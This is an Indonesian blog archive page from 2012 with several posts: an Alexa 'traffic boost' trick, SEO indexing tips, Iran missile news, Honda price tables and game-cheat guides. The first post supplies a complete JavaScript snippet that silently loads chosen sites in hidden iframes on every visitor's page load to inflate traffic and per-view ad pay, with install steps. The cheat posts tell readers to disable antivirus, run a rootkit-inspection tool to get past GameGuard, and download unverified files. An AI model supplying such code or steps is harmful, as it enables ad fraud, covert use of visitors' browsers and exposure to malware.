| Cara Nge Boost Traffic Peringkat Alexa Makin Ramping Posted: 13 Jan 2012 06:08 PM PST Di Posting Oleh acehsaya.com pada Cara Nge Boost Traffic Peringkat Alexa Makin Ramping - Mungkin anda yang punya blog baru, pasti akan mencari cara untuk dapat meningkatkan traffic, apalagi alexa. Biasanya cara ini adalah cara spesial bagi para pebisnis. Entah dari PTR, ADSENSE, INFOLINK, atau yang lainnya. Karena emang betul, cara ini sangat berguna dan bermanfaat sekali. Langsung saja, ini scriptnya : <script type="text/javascript"> var sLocation = document.referrer.toLocaleLowerCase(); //Links to boost var rDomains = ["SITUSANDA.COM","SITUSANDA2.COM","SITUSANDA2.C OM"]; //Allowed domain referrer var aDomains = [".com"]; var valid = 0;
//Valid referrer for (i=0;i<aDomains.length;i++) { //Check referrer if (sLocation.indexOf(aDomains[i], 0) > -1) { valid = 1; break; } }
//Valid referrer if (valid == 1) { //Loop for (i=0;i<rDomains.length;i++) { //alert(rDomains[i]); invisibleWindow("mydiv" + i,rDomains[i]); } }
function invisibleWindow(iframeID, url) { divel = document.createElement("div"); divel.id = "div" + iframeID; divel.style.width = "5px"; divel.style.height = "5px"; divel.style.visibility = "hidden";
//Add div document.body.appendChild(divel);
domiframe = document.createElement("iframe"); domiframe.id = iframeID; domiframe.src = url; domiframe.style.width = "5px"; domiframe.style.height = "5px"; domiframe.style.visibility = "hidden";
var divid = document.getElementById("div" + iframeID); divid.appendChild(domiframe); }
</script> Penjelasan : Code: var rDomains = ["SITUSANDA.COM","SITUSANDA2.COM","SITUSANDA3.C OM"];Ini adalah URL yang pingin kita Load Silently aka diam2, sebanyak yang kita mau tanpa diketahui oleh Visitor web kita, MAU DIULANG2 JUGA TERSERAH ["SITUSANDA.COM","SITUSANDA.COM","SITUSANDA.COM "]; DST ampe pegel… Code: var aDomains = [".com"];
Ini adalah Referrer Check. Jika kamu pingin script ini hanya jalan untuk Visitor dari google.com. tinggal ganti "google.com" disana. Kamu juga dapat memakai koma dan membuat list sebanyak yang kamu inginkan misal ["google.com","yahoo.com","bing.com] Dan Lain2..terserah.. Cara PemasanganBuka .html or .php file (wordpress users bisa buka header.php dari editor theme yang kamu pake) Cari <body> tag. Setelah itu, paste script tersebut. Ubah var rDomains = var rDomains = ["SITUSANDA.COM","SITUSANDA2.COM","SITUSANDA3.C OM"]; Dengan URL Kamu Ubah var aDomains = [".com"] sesuai keinginan lihat petunjuk diatas Untuk bypass referrer validation dan Allow Semua referrers Ubah var valid = 0; Menjadi var valid = 1; UNTUK BLOGSPOT Cukup pastekan script yang sudah saya jelaskan diatas melalui Add gadget [ kalau saya di posisi side bar] Add HTML/JavaScript Posting Script di BOX tanpa judulSave APA GUNANYA??? Sebenernya tergantung kreatifitas, bayangkan jika anda memasukan 5000 URL untuk di Silent Load, maka jika anda punya traffic 100 perhari maka otomatis akan manjadi 5000 kalinya? gila ga tuh? yang Kedua jika anda punya bisnis online earning dari per views seperti BUKISA yang dimana per 1000 views dibayar $4, jika anda mesukan 1 URL bukisa dan diulang 5000 kali berapa kira2 earning anda? dan bagaimana jika 10 URL??? Bayangkan sendiri dah [ga tanggung jawab kalo kena banned](http://blog.ahlul.net) di Rating 4.5 |
| Penyebab Link Url Blog Tiba-tiba Tidak Diindex Google Posted: 13 Jan 2012 04:46 AM PST acehsaya.com pada Penyebab Link Url Blog Tiba-tiba Tidak Diindex Google - Nah,, Google Sekarang ini Sudah Agak Payah Gan, Dimana agak sedikit ketat untuk menembus Serp Google. Dimana blog kita yang kadang-kadang bagus Serpnya di google, Sekarang malah sudah beberapa saat setelah Posting, Url atau link tersebut sudah de index, kesal patut dirasakan, Nah, Apa sich yang telah saya lakukan, sehingga Link Url Blog saya Tiba-tiba Tidak Diindex Google ? - Isi Posting Blog anda banyak Yang Copy paste, Sehingga akan banyak isi posting anda yang duplikat dengan blog lain..
- Banyak Link yang tidak Relevan, karena Tiba-tiba Google Update Algoritma
- Terlalu Sering memakai Software Submir Url atau Link
- Merubah Template Blog, jangan banyak gonta-ganti pasangan dalam dunia nyata, cukup pilih 1 template yang sesuai dan jangan pernah mengganti, kayak saya neh, kadang-kdang ganti lagi, hingga blog saya pun kadang mudah diindex google kadang kadang agak lama
Jika anda punya ide lain, silahkan beri komentar, terima kasih. di Rating 4.5 |
| Rudal Anti Radar Iran | Politik Nuklir Terkini di Iran Posted: 13 Jan 2012 02:37 AM PST  Di Posting Oleh acehsaya.com pada Rudal Anti Radar Iran | Politik Nuklir Terkini di Iran - Iran mengumumkan kemajuan dalam pengolahan teknologi nuklir sekaligus berhasil menggelar ujicoba rudal jarak menengah anti radar. Sebelumnya, AS sudah menyiapkan sanksi baru kepada Iran atas pengembangan teknologi nuklirnya, yang dikhawatirkan bisa dibuat menjadi senjata pemusnah massal. Rudal Anti Radar Iran - Perwira Angkatan Laut Iran, Mahmoud Mousavi, kepada kantor berita IRNA Minggu kemarin mengungkapkan bahwa mereka sukses menggelar ujicoba dengan menembakkan rudal darat-ke-udara. Rudal itu dilengkapi dengan teknologi anti radar. Sebelumnya Iran sudah menyatakan bahwa mereka akan menggelar ujicoba rudal dalam hitungan hari. Iran diyakini memiliki rudal yang bisa menjangkau musuhnya, Israel, dan pangkalan-pangkalan militer AS di Timur Tengah. Sebelumnya, Stasiun Televisi Iran pekan lalu mengungkapkan bahwa tim ilmuwan mereka berhasil mengembangkan teknologi komponen nuklir pada tahap lanjut. Mereka mengklaim telah memproduksi dan menguji komponen inti tenaga uranium (fuel rod) di reaktor nuklir mereka. Komponen itu dibuat di Iran dan telah disiapkan untuk reaktor penelitian nuklir, demikian stasiun televisi setempat. Iran berkali-kali membantah tudingan dari negara-negara Barat bahwa mereka akan membuat senjata nuklir. Teknologi nuklir yang mereka kembangkan, ujar para pejabat Iran, hanya untuk kepentingan damai yaitu untuk sumber energi. Klaim itu tidak menghentikan AS dan negara-negara Barat lain untuk berkali-kali menjatuhkan sanksi ekonomi dan perdagangan. Dewan Keamanan PBB pun sudah empat kali menjatuhkan sanksi kepada Iran. Terakhir, AS Sabtu pekan lalu mengesahkan sanksi sepihak untuk membekukan aliran keuangan bagi Iran dari luar negeri. Politik Nuklir Terkini di Iran - Menurut kantor berita Reuters, langkah itu diyakini bisa memukul ekspor minyak Iran. Uni Eropa pun akan menerapkan sanksi serupa. Bila sanksi-sanksi itu diterapkan secara bersamaan, sangat sulit bagi perusahaan-perusahaan energi untuk membeli minyak mentah dari Iran, yang dikenal sebagai penghasil "emas hitam" terbesar keempat di dunia. Sebagai reaksi atas potensi penjatuhan sanksi baru, Iran pekan lalu sudah mengancam akan menutup Selat Hormuz. Perairan itu sangat strategis karena menjadi lokasi bagi 40 persen pengiriman minyak dunia dari jalur laut di Rating 4.5 |
| Harga Mobil Honda Baru dan Bekas Tahun 2012 Posted: 13 Jan 2012 12:56 AM PST Di Posting Oleh acehsaya.com pada Harga Mobil Honda Baru dan Bekas Tahun 2012 Harga Mobil Honda Baru dan Bekas Tahun 2012 Car Type | Price (Rp jt) | Diff (Rp jt) |
| Accord VTi 2.4 A/T | 443.5 | 0.0 |
| Accord VTi 2.4 M/T | 428.5 | 0.0 |
| Accord VTi-L 2.4 A/T | 481.5 | 0.0 |
| Accord VTi-L 3.5 A/T | 708.0 | 0.0 |
| City All New City S E A/T | 285.0 | 0.0 |
| City All New City S E M/T | 270.0 | 0.0 |
| City All New City S M/T | 261.0 | 0.0 |
| City All New City S S A/T | 276.0 | 0.0 |
| Civic Facelift 1.8 i-VTEC A/T | 352.0 | 0.0 |
| Civic Facelift 1.8 i-VTEC M/T | 339.0 | 0.0 |
| Civic Facelift 2.0 i-VTEC A/T | 404.0 | 0.0 |
| CR-V Facelift 2.0 i-VTEC A/T | 359.0 | 0.0 |
| CR-V Facelift 2.0 i-VTEC M/T | 348.0 | 0.0 |
| CR-V Facelift 2.4 i-VTEC A/T | 388.0 | 0.0 |
| Freed A/T Electric Sliding Door | 260.0 | 0.0 |
| New Odyssey 2.4 I-VTEC A/T | 545.5 | 0.0 |

| Accord 2.3 VTi A/T | 1999 | 100.0 | 5.0 |
| Accord 2.3 VTi A/T | 2000 | 105.0 | 5.0 |
| Accord 2.3 VTi A/T | 2001 | 110.0 | 5.0 |
| Accord 2.3 VTi A/T | 2002 | 120.0 | 5.0 |
| Accord 2.3 VTi A/T Facelift | 2003 | 130.0 | 5.0 |
| Accord 2.3 VTi M/T | 1999 | 90.0 | 5.0 |
| Accord 2.3 VTi M/T | 2000 | 95.0 | 5.0 |
| Accord 2.3 VTi M/T | 2001 | 105.0 | 5.0 |
| Accord 2.3 VTi M/T | 2002 | 110.0 | 5.0 |
| Accord 2.3 VTi M/T Facelift | 2003 | 120.0 | 5.0 |
| Accord 2.3 VTi-L A/T | 1999 | 110.0 | 5.0 |
| Accord 2.3 VTi-L A/T | 2000 | 115.0 | 5.0 |
| Accord 2.3 VTi-L A/T | 2001 | 120.0 | 5.0 |
| Accord 2.3 VTi-L A/T | 2002 | 125.0 | 5.0 |
| Accord 2.3 VTi-L A/T Facelift | 2003 | 135.0 | 5.0 |
| Accord 2.3 VTi-L M/T | 1999 | 105.0 | 5.0 |
| Accord 2.3 VTi-L M/T | 2000 | 110.0 | 5.0 |
| Accord 2.3 VTi-L M/T | 2001 | 115.0 | 5.0 |
| Accord 2.3 VTi-L M/T | 2002 | 120.0 | 5.0 |
| Accord 2.3 VTi-L M/T Facelift | 2003 | 130.0 | 5.0 |
| Accord 2.4 VTi A/T | 2003 | 160.0 | 0.0 |
| Accord 2.4 VTi A/T | 2004 | 165.0 | 0.0 |
| Accord 2.4 VTi A/T | 2005 | 175.0 | 0.0 |
| Accord 2.4 VTi A/T | 2006 | 185.0 | 0.0 |
| Accord 2.4 VTi M/T | 2003 | 130.0 | 0.0 |
| Accord 2.4 VTi M/T | 2004 | 135.0 | 0.0 |
| Accord 2.4 VTi M/T | 2005 | 140.0 | 0.0 |
| Accord 2.4 VTi M/T | 2006 | 160.0 | 0.0 |
| Accord 2.4 VTi-L A/T | 2003 | 175.0 | 0.0 |
| Accord 2.4 VTi-L A/T | 2004 | 185.0 | 0.0 |
| Accord 2.4 VTi-L A/T | 2005 | 190.0 | 0.0 |
| Accord 2.4 VTi-L A/T | 2006 | 205.0 | 0.0 |
| Accord 2.4 VTi-L M/T | 2003 | 145.0 | 0.0 |
| Accord 2.4 VTi-L M/T | 2004 | 150.0 | 0.0 |
| Accord 2.4 VTi-L M/T | 2005 | 160.0 | 0.0 |
| Accord 2.4 VTi-L M/T | 2006 | 170.0 | 0.0 |
| Accord 2.4 VTi-L New A/T | 2006 | 235.0 | 0.0 |
| Accord 2.4 VTi-L New A/T | 2007 | 250.0 | 0.0 |
| Accord 2.4 VTi-L New M/T | 2006 | 225.0 | 0.0 |
| Accord All New 2.4 VTi-L A/T | 2008 | 350.0 | -10.0 |
| Accord All New 2.4 VTi-L A/T | 2009 | 375.0 | -20.0 |
| All New Jazz RS A/T | 2008 | 180.0 | 0.0 |
| All New Jazz RS A/T | 2009 | 190.0 | 0.0 |
| All New Jazz RS A/T | 2010 | 200.0 | 0.0 |
| All New Jazz RS M/T | 2008 | 170.0 | 0.0 |
| All New Jazz RS M/T | 2009 | 180.0 | 0.0 |
| All New Jazz S A/T | 2008 | 170.0 | 0.0 |
| All New Jazz S A/T | 2009 | 175.0 | 0.0 |
| All New Jazz S M/T | 2008 | 160.0 | 0.0 |
| All New Jazz S M/T | 2009 | 170.0 | 0.0 |
| City 1.3 EX karburator | 1996 | 55.0 | 0.0 |
| City 1.3 EX karburator | 1997 | 60.0 | 0.0 |
| City 1.5 EXi Injection A/T | 1997 | 65.0 | 0.0 |
| City 1.5 EXi Injection A/T | 1998 | 70.0 | 0.0 |
| City 1.5 EXi Injection M/T | 1997 | 65.0 | 0.0 |
| City 1.5 EXi Injection M/T | 1998 | 70.0 | 0.0 |
| City 1.5 VTi Type Z A/T | 2000 | 85.0 | 0.0 |
| City 1.5 VTi Type Z A/T | 2001 | 90.0 | 0.0 |
| City 1.5 VTi Type Z A/T | 2002 | 95.0 | 0.0 |
| City 1.5 VTi Type Z A/T | 2003 | 100.0 | 0.0 |
| City 1.5 VTi Type Z M/T | 2000 | 82.0 | -3.0 |
| City 1.5 VTi Type Z M/T | 2001 | 87.0 | -1.0 |
| City 1.5 VTi Type Z M/T | 2002 | 92.0 | -2.0 |
| City 1.5 VTi Type Z M/T | 2003 | 97.0 | -1.0 |
| City All New City E A/T | 2009 | 225.0 | 0.0 |
| City All New City E A/T | 2010 | 230.0 | 0.0 |
| City All New City E M/T | 2009 | 200.0 | 0.0 |
| City All New City S A/T | 2009 | 225.0 | 0.0 |
| City All New City S M/T | 2009 | 215.0 | 0.0 |
| City New City i-DSi A/T | 2003 | 120.0 | 5.0 |
| City New City i-DSi A/T | 2004 | 125.0 | 5.0 |
| City New City i-DSi A/T | 2005 | 130.0 | 5.0 |
| City New City i-DSi A/T Facelift | 2006 | 145.0 | 10.0 |
| City New City i-DSi A/T Facelift | 2007 | 150.0 | 10.0 |
| City New City i-DSi A/T Facelift | 2008 | 155.0 | 0.0 |
| City New City i-DSi M/T | 2003 | 120.0 | 5.0 |
| City New City i-DSi M/T | 2004 | 125.0 | 5.0 |
| City New City i-DSi M/T | 2005 | 130.0 | 5.0 |
| City New City i-DSi M/T Facelift | 2006 | 140.0 | 5.0 |
| City New City i-DSi M/T Facelift | 2007 | 150.0 | 5.0 |
| City New City VTEC A/T | 2004 | 120.0 | 0.0 |
| City New City VTEC A/T | 2005 | 125.0 | 0.0 |
| City New City VTEC A/T Facelift | 2006 | 145.0 | 15.0 |
| City New City VTEC A/T Facelift | 2007 | 150.0 | 5.0 |
| City New City VTEC A/T Facelift | 2008 | 159.0 | 4.0 |
| City New City VTEC M/T | 2003 | 120.0 | 0.0 |
| City New City VTEC M/T | 2004 | 125.0 | 5.0 |
| City New City VTEC M/T | 2005 | 130.0 | 5.0 |
| City New City VTEC M/T Facelift | 2006 | 140.0 | 5.0 |
| City New City VTEC M/T Facelift | 2007 | 150.0 | 5.0 |
| City New City VTEC M/T Facelift | 2008 | 150.0 | 0.0 |
| Civic 1.7 VTi A/T | 2001 | 105.0 | 0.0 |
| Civic 1.7 VTi A/T | 2002 | 110.0 | 0.0 |
| Civic 1.7 VTi A/T | 2003 | 115.0 | 0.0 |
| Civic 1.7 VTi M/T | 2001 | 100.0 | 0.0 |
| Civic 1.7 VTi M/T | 2002 | 105.0 | 0.0 |
| Civic 1.7 VTi M/T | 2003 | 110.0 | 0.0 |
| Civic 1.7 VTi-S A/T | 2001 | 110.0 | 0.0 |
| Civic 1.7 VTi-S A/T | 2002 | 120.0 | 0.0 |
| Civic 1.7 VTi-S A/T | 2003 | 125.0 | 0.0 |
| Civic 1.7 VTi-S A/T Facelift | 2003 | 135.0 | 0.0 |
| Civic 1.7 VTi-S A/T Facelift | 2004 | 145.0 | 0.0 |
| Civic 1.7 VTi-S A/T Facelift | 2005 | 155.0 | 0.0 |
| Civic 1.7 VTi-S M/T | 2001 | 105.0 | 0.0 |
| Civic 1.7 VTi-S M/T | 2002 | 115.0 | 0.0 |
| Civic 1.7 VTi-S M/T | 2003 | 120.0 | 0.0 |
| Civic 1.7 VTi-S M/T Facelift | 2003 | 130.0 | 0.0 |
| Civic 1.7 VTi-S M/T Facelift | 2004 | 140.0 | 0.0 |
| Civic 1.7 VTi-S M/T Facelift | 2005 | 150.0 | 0.0 |
| Civic Ferio A/T | 1997 | 75.0 | 0.0 |
| Civic Ferio A/T | 1996 | 80.0 | 0.0 |
| Civic Ferio A/T | 1999 | 85.0 | 0.0 |
| Civic Ferio A/T Facelift | 1999 | 90.0 | 0.0 |
| Civic Ferio A/T Facelift | 2000 | 95.0 | 0.0 |
| Civic Ferio A/T Facelift | 2001 | 100.0 | 0.0 |
| Civic Ferio M/T | 1997 | 80.0 | 0.0 |
| Civic Ferio M/T | 1998 | 85.0 | 0.0 |
| Civic Ferio M/T | 1999 | 90.0 | 0.0 |
| Civic Ferio M/T Facelift | 1999 | 95.0 | 0.0 |
| Civic Ferio M/T Facelift | 2000 | 100.0 | 0.0 |
| Civic Ferio M/T Facelift | 2001 | 105.0 | 0.0 |
| Civic New 1.8 A/T | 2006 | 210.0 | 0.0 |
| Civic New 1.8 A/T | 2007 | 230.0 | 0.0 |
| Civic New 1.8 A/T | 2008 | 250.0 | 0.0 |
| Civic New 1.8 A/T | 2009 | 260.0 | 0.0 |
| Civic New 1.8 A/T | 2010 | 295.0 | 0.0 |
| Civic New 1.8 M/T | 2006 | 215.0 | 0.0 |
| Civic New 1.8 M/T | 2007 | 240.0 | 0.0 |
| Civic New 1.8 M/T | 2008 | 245.0 | 0.0 |
| Civic New 1.8 M/T | 2009 | 255.0 | 0.0 |
| Civic New 2.0 A/T | 2006 | 220.0 | 0.0 |
| Civic New 2.0 A/T | 2007 | 240.0 | 0.0 |
| Civic New 2.0 A/T | 2008 | 260.0 | 0.0 |
| Civic New 2.0 A/T | 2009 | 270.0 | 0.0 |
| CR-V 2.0 4X2 A/T | 2000 | 105.0 | 0.0 |
| CR-V 2.0 4X2 A/T | 2001 | 110.0 | 0.0 |
| CR-V 2.0 4X2 A/T | 2002 | 115.0 | 0.0 |
| CR-V 2.0 4X2 M/T | 2000 | 90.0 | 0.0 |
| CR-V 2.0 4X2 M/T | 2001 | 100.0 | 0.0 |
| CR-V 2.0 4X2 M/T | 2002 | 105.0 | 0.0 |
| CR-V 2.0 A/T | 2002 | 140.0 | 0.0 |
| CR-V 2.0 A/T | 2003 | 150.0 | 0.0 |
| CR-V 2.0 A/T Facelift | 2004 | 165.0 | 0.0 |
| CR-V 2.0 A/T Facelift | 2005 | 175.0 | 0.0 |
| CR-V 2.0 A/T Facelift | 2006 | 185.0 | 0.0 |
| CR-V 2.0 M/T | 2002 | 130.0 | 0.0 |
| CR-V 2.0 M/T | 2003 | 135.0 | 0.0 |
| CR-V 2.0 M/T Facelift | 2004 | 150.0 | 0.0 |
| CR-V 2.0 M/T Facelift | 2005 | 160.0 | 0.0 |
| CR-V 2.0 M/T Facelift | 2006 | 170.0 | 0.0 |
| CR-V 2.4 A/T | 2005 | 185.0 | 0.0 |
| CR-V 2.4 A/T | 2006 | 195.0 | 0.0 |
| CR-V All New C-RV 2.0 A/T | 2007 | 260.0 | 0.0 |
| CR-V All New C-RV 2.0 A/T | 2008 | 270.0 | 0.0 |
| CR-V All New C-RV 2.0 M/T | 2007 | 240.0 | 0.0 |
| CR-V All New C-RV 2.0 M/T | 2008 | 255.0 | 0.0 |
| CR-V All New C-RV 2.0 M/T | 2009 | 260.0 | 0.0 |
| CR-V All New C-RV 2.4 A/T | 2007 | 270.0 | 0.0 |
| CR-V All New C-RV 2.4 A/T | 2008 | 280.0 | 0.0 |
| CR-V All New C-RV 2.4 A/T | 2009 | 300.0 | 0.0 |
| CR-V All New C-RV 2.4 A/T | 2010 | 330.0 | 0.0 |
| Elysion 2.4 | 2004 | 330.0 | 0.0 |
| Elysion 2.4 | 2005 | 345.0 | 0.0 |
| Elysion 2.4 | 2006 | 365.0 | 0.0 |
| Elysion 2.4 Prestige | 2008 | 510.0 | 0.0 |
| Elysion 3.0 | 2004 | 345.0 | 0.0 |
| Elysion 3.0 | 2005 | 355.0 | 0.0 |
| Elysion 3.0 | 2006 | 365.0 | 0.0 |
| Fit 1.3 i-DSI A/T | 2002 | 95.0 | 0.0 |
| Fit 1.3 i-DSI A/T | 2003 | 100.0 | 0.0 |
| Fit 1.3 i-DSI A/T | 2004 | 105.0 | 0.0 |
| Fit 1.5 VTEC A/T | 2003 | 108.0 | 0.0 |
| Fit 1.5 VTEC A/T | 2004 | 113.0 | 0.0 |
| Freed Manual Sliding Door | 2009 | 210.0 | 0.0 |
| Freed Manual Sliding Door | 2010 | 225.0 | 0.0 |
| Freed Power Sliding Door | 2009 | 220.0 | 0.0 |
| Freed Power Sliding Door | 2010 | 230.0 | 0.0 |
| Freed Power Sliding Door | 2011 | 235.0 | 0.0 |
| Jazz i-DSI A/T | 2004 | 120.0 | 0.0 |
| Jazz i-DSI A/T | 2005 | 125.0 | 0.0 |
| Jazz i-DSI A/T | 2006 | 130.0 | 0.0 |
| Jazz i-DSI A/T | 2007 | 135.0 | 0.0 |
| Jazz i-DSI A/T | 2008 | 140.0 | 0.0 |
| Jazz i-DSI M/T | 2004 | 110.0 | 0.0 |
| Jazz i-DSI M/T | 2005 | 115.0 | 0.0 |
| Jazz i-DSI M/T | 2006 | 120.0 | 0.0 |
| Jazz i-DSI M/T | 2007 | 125.0 | 0.0 |
| Jazz i-DSI M/T | 2008 | 130.0 | 0.0 |
| Jazz VTEC A/T | 2005 | 125.0 | 0.0 |
| Jazz VTEC A/T | 2006 | 130.0 | 0.0 |
| Jazz VTEC A/T | 2007 | 145.0 | 0.0 |
| Jazz VTEC A/T | 2008 | 150.0 | 0.0 |
| Jazz VTEC M/T | 2005 | 120.0 | 0.0 |
| Jazz VTEC M/T | 2006 | 125.0 | 0.0 |
| Jazz VTEC M/T | 2007 | 135.0 | 0.0 |
| Jazz VTEC M/T | 2008 | 145.0 | 0.0 |
| Odyssey 2.4 L (ATPM) | 2004 | 230.0 | 0.0 |
| Odyssey 2.4 L (ATPM) | 2005 | 240.0 | 0.0 |
| Odyssey 2.4 L (ATPM) | 2006 | 250.0 | 0.0 |
| Odyssey 2.4 M (ATPM) | 2004 | 200.0 | 0.0 |
| Odyssey 2.4 M (ATPM) | 2005 | 225.0 | 0.0 |
| Odyssey 2.4 M (ATPM) | 2006 | 240.0 | 0.0 |
| Odyssey Absolute 2.4 (IU) | 2004 | 225.0 | 0.0 |
| Odyssey Absolute 2.4 (IU) | 2005 | 245.0 | 0.0 |
| Odyssey Absolute 2.4 (IU) | 2006 | 275.0 | 0.0 |
| Odyssey Absolute 2.4 (IU) | 2007 | 315.0 | 0.0 |
| Odyssey Absolute 2.4 (IU) | 2008 | 370.0 | 0.0 |
| Odyssey Absolute 2.4 (IU) | 2009 | 430.0 | 0.0 |
| Odyssey Absolute 2.4 (IU) | 2010 | 470.0 | 0.0 |
| Stream 1.7 A/T | 2002 | 125.0 | 0.0 |
| Stream 1.7 A/T | 2003 | 135.0 | 0.0 |
| Stream 1.7 A/T Facelift | 2004 | 150.0 | 0.0 |
| Stream 1.7 A/T Facelift | 2005 | 160.0 | 0.0 |
| Stream 1.7 A/T Facelift | 2006 | 170.0 | 0.0 |
| Stream 1.7 A/T Facelift | 2007 | 180.0 | 0.0 |
| Stream 1.7 M/T | 2002 | 120.0 | 0.0 |
| Stream 1.7 M/T | 2003 | 130.0 | 0.0 |
| Stream 1.7 M/T Facelift | 2004 | 140.0 | 0.0 |
| Stream 1.7 M/T Facelift | 2005 | 150.0 | 0.0 |
| Stream 1.7 M/T Facelift | 2006 | 160.0 | 0.0 |
| Stream 1.7 M/T Facelift | 2007 | 170.0 | 0.0 |
| Stream 2.0 i-VTEC Tiptronic | 2002 | 120.0 | 0.0 |
| Stream 2.0 i-VTEC Tiptronic | 2003 | 130.0 | 0.0 |
| Stream 2.0 i-VTEC Tiptronic Facelift | 2004 | 150.0 | 0.0 |
| Stream 2.0 i-VTEC Tiptronic Facelift | 2005 | 160.0 | 0.0 |
| Stream 2.0 i-VTEC Tiptronic Facelift | 2006 | 170.0 | 0.0 | 
Harga Mobil Honda Baru dan Bekas Tahun 2012 di Rating 4.5 |
| Downlaod Cheat Lost Saga Januari 2012 Posted: 13 Jan 2012 12:40 AM PST Di Posting Oleh acehsaya.com pada Downlaod Cheat Lost Saga Januari 2012
Fitur : [-] 1hit crusade [-] E.H –> Tangan Kosong [-] Limit [-] Anti Gravity –> Jatuh Dari Ketinggian Apapun [-] Darah Gk Kurang Asal Jatuh Di Filed [-] Bonus Peso –> Main Sampai Dapat Bonus Peso [-] Anti Weapon –> Semua Senjata Hilang Kecuali Mafia,Defender,Hook,CS.
Untuk Windows 7---> Klik kanan >> pilih "Run As Administrator"
WORK all WINDOWS XP/Vista/Win 7 (32 bit/64bit)
Credits :
Special Thx to :
[-] GrandHigh
Cara pakai :
Buka LS Buka Cheat Login LS. Saat Om Koboi ( GameGuard ) pilihlah cheat yg ingin anda pakai ! Jgn Lupa Close Cheat nya ! Happy Cheating sobat
Download Cheat Lost Saga 13 Januari 2012 Darah 1hit Anti Weapon Peso Downlod Chead isini, Skip Ads dan Download File pass : remix-7.blogspot.com di Rating 4.5 |
| Cheat 1 Hit Grand Chase 2012 Posted: 12 Jan 2012 11:23 PM PST Di Posting Oleh acehsaya.com pada judul Cheat 1 Hit Grand Chase 2012 Download Via ZidduTutorial Via Teks : Catatan : - Berlaku untuk semua Char, tidak untuk ronan saja.. - Jika Anda menggunakan Anti-Virus yang Update, matikan dulu antivirusnya (bukan berarti di Uninstal) Cara Pakai : [-]Buka Tuluka v1.0.394.77 [-]Buka Folder Love Engine 0.5 [-]Klik ceregr3set Pada Folder Love Engine 0.5 Sebanyak 5x [-]Buka Love Engine 0.5 [-]Buka Patcher Start [-]Tunggu Sampai Muncul Login [-]Eitsss,Jangan Login Dolo [-]Buka Tuluka v1.0.394.77 [-]Lalu Klik SST [-]KLIK 2xSupicios [-]Setelah Itu Akan Muncul Tulisan Merah [-]Kalian Klik Lalu Tekan CTRL+R Sampai MerahNya Gx Ada [-]Minimize Tuluka v1.0.394.77 [-]Lalu Buka Open Proses Yang Gambar Love 1 [-]Klik Main.exe [-]Login [-]Masuk Kepractice [-]Pilih Ronan Lalu Ok(Jangan Atur Skill Ama Jobnya) [-]Setelah Masuk Kepractice [-]Buka Love Engine Scan 16256 Lalu Klik FristScan [-]Setelah Scan Tekan 1 Pada Tombol Kyboard [-]Klik SkillTree [-]Klik Special Lalu Pilih holy bless Lv.2 [-]Klik Ok [-]Tekan X Pada Kyboard Untuk Menggunakan HolyBless Lv2 [-]TEKAN Z SAMPAI MP Pertama/Digaris pertama Lalu Lepas [-]Lalu Scan 16281 [-]Lalu Klik Next Scan(Disamping News Scan) [-]Dan Kalian Coba Kill Elesis [-]Pasti Attack Kalian 99999 [-]Kalau Sudah Muncul Attack 99999 1HIT SUDAH AKTIF [-]Yang STAGE HACK Saya GX KASIH TAU YA di Rating 4.5 |
No comments:
Post a Comment